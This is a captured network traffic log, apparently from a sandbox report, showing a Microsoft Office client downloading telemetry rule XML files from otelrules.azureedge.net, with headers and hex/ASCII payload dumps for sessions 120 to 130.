2024-11-20 16:42:13 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164213Z-1777c6cb754lv4cqhC1TEB13us00000009s000000000tfwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:14 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:14 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164214Z-1777c6cb754gc8g6hC1TEB966c00000009x0000000006ba8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:14 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:14 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 231cc5cf-201e-0096-37f7-3aace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164214Z-r1d97b99577d6qrbhC1TEBux5s000000097000000000g723 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:14 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:14 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:14 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164214Z-185f5d8b95cmd8vfhC1NYC0g4000000006c000000000hht2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:14 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:15 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:16 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164216Z-1777c6cb754vxwc9hC1TEBykgw00000009v000000000enz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:16 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:15 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:16 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164216Z-1777c6cb7549j9hhhC1TEBzmcc00000009q000000000u12v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:16 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:17 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:17 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164217Z-r1d97b99577tssmjhC1TEB8kan00000009400000000010c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:17 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:17 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:17 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164217Z-1777c6cb754mqztshC1TEB4mkc00000009ug00000000qt7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:17 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:17 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164217Z-1777c6cb754gvvgfhC1TEBz4rg00000009y000000000b8gp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:18 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:18 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 443fb44f-501e-0029-3f61-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164218Z-185f5d8b95c9mqtvhC1NYCghtc0000000ahg00000000kpdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 16:42:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:18 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164218Z-r1d97b99577gg97qhC1TEBcrf400000008ug00000000sxvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:19 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164219Z-r1d97b99577hsvhhhC1TEByb1w00000003fg000000003g94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 